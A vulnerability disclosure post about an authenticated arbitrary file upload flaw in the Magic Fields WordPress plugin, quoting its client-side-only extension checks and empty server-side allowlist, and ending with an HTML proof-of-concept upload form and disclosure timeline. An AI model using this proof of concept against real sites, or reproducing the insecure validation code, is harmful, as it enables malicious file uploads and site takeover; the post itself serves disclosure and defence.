Authenticated Arbitrary File Upload Vulnerability in Magic Fields
In our previous post about an old arbitrary file upload vulnerability in Magic Fields, we mentioned from reviewing that, that we then noticed that another vulnerability existed.
To recap, in version 1.5.6 of Magic Fields code was added to the file/RCCWP_upload_ajax.php that checked if you were logged in and able at least edit posts, which is capability available to Contributor level users and above, before allowing arbitrary files to be uploaded through the file:
if (!(is_user_logged_in() && (current_user_can('edit_posts') || current_user_can('edit_published_pages')))) die(__("Authentication failed!",$mf_domain)); |
Contributor level users should not be able to upload arbitrary files, so that would mean that while unauthenticated users could no longer upload arbitrary files, there was still an authenticated arbitrary files vulnerability. There is also no protection against cross-site request forgery (CSRF) made with that change.
In the next version, 1.5.7, a check for a nonce was added, which removed the CSRF vulnerability.
$nonce=$_GET['nonce_ajax']; if (! wp_verify_nonce($nonce, 'once_ajax_uplooad') ){ $result = array('error' => 'Sorry, your nonce did not verify.'); echo htmlspecialchars(json_encode($result), ENT_NOQUOTES); die; } |
At this point whether there is still a vulnerability would depend on how one can gain access to the nonce being used. The nonce is generated in the file /RCCWP_WritePostPage.php:
117 | var nonce_ajax_upload = "<!--?php echo wp_create_nonce('once_ajax_uplooad') ?-->"; |
That leads to it being included on any write panel generated from the plugin. So as long as a Contributor or higher level user is able access a write panel they can upload arbitrary files.
Lack of Proper File Validation
While being access the file upload capability when you are not intended to able to do that is a concern. The larger issue here is that there are not restrictions on what types of files are uploaded.
When we started looking into this vulnerability we ran across a support forum thread from someone asking about adding another file extension to the allowed extensions for file uploads. The response from the developer is something that would raise the eyes of most anyone who knows much about web security:
Hi, yes, i will add this extension in the next update. you can add for the moment in this file /js/group.js line 527
Since JavaScript files are usually are only used on the client side, this suggests that the file validation is only being done on the client side and that the user doing the upload has control over what files can be uploaded. That turned out to be the case.
The allowed extensions are defined in /js/group.js on line 527 in version 1.6.3.2 of the plugin:
527 | var allowedExtensions = ["pdf", "doc", "xls", "ppt", "txt", "jpeg", "psd", "jpg", "gif", "png", "docx", "pptx", "xslx", "pps", "zip", "gz", "gzip", "mp3", "aac", "mp4", "wav", "wma", "aif", "aiff", "ogg", "flv", "f4v", "mov", "avi", "mkv", "xvid", "divx","gpx"]; |
The validation of the file is then done in the file /js/valumsfileuploader.js with the function _validateFile():
397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 | _validateFile: function(file){ var name, size; if (file.value){ // it is a file input // get input value and remove path to normalize name = file.value.replace(/.*(\/|\\)/, ""); } else { // fix missing properties in Safari name = file.fileName != null ? file.fileName : file.name; size = file.fileSize != null ? file.fileSize : file.size; } if ( this._isAllowedExtension(name)){ this._error('typeError', name); return false; } else if (size === 0){ this._error('emptyError', name); return false; } else if (size && this._options.sizeLimit && size > this._options.sizeLimit){ this._error('sizeError', name); return false; } else if (size && size < this._options.minSizeLimit){ this._error('minSizeError', name); return false; } return true; }, |
That in turns call the function _isAllowedExtension() in the same file:
446 447 448 449 450 451 452 453 454 455 456 457 | _isAllowedExtension: function(fileName){ var ext = (-1 !== fileName.indexOf('.')) ? fileName.replace(/.*[.]/, '').toLowerCase() : ''; var allowed = this._options.allowedExtensions; if (!allowed.length){return true;} for (var i=0; i<allowed.length; i++){ if (allowed[i].toLowerCase() == ext){ return true;} } return false; }, |
Since that is all running on the client side it can be disabled by a malicious user and therefore they can upload malicious files.
What then was surprising to find out is that there is actually the code needed to validate the file and restrict the allowed extensions on the server side. On the server side the file is uploaded through the file /RCCWP_upload_ajax.php and that has a line to define allowed extensions, but it is empty:
174 175 | // list of valid extensions, ex. array("jpeg", "xml", "bmp") $allowedExtensions = array(); |
Proof of Concept
Logged in as user that has access to a Magic Fields write panel, view the source code of a write panel page and find the line that begins “var nonce_ajax_upload”. Replace “[nonce value]” in the proof of concept with the value of “nonce_ajax_upload” on that line.
Also, make sure to replace “[path to WordPress]” with the location of WordPress:
<html> <head> </head> <body> <form action="http://[path to WordPress]/wp-content/plugins/magic-fields/RCCWP_upload_ajax.php?nonce_ajax=[nonce value]" method="post" enctype="multipart/form-data"> <input name="qqfile" type="file" /> <input type="submit" value="Submit" /> </form> </body> </html>
Timeline
- 5/20/2016 – Notified developer.
- 5/31/2016 – Notified wordpress.org Plugin Directory.
- 6/1/2016 – Version 1.7 released (not available on Plugin Directory), which fixes vulnerability.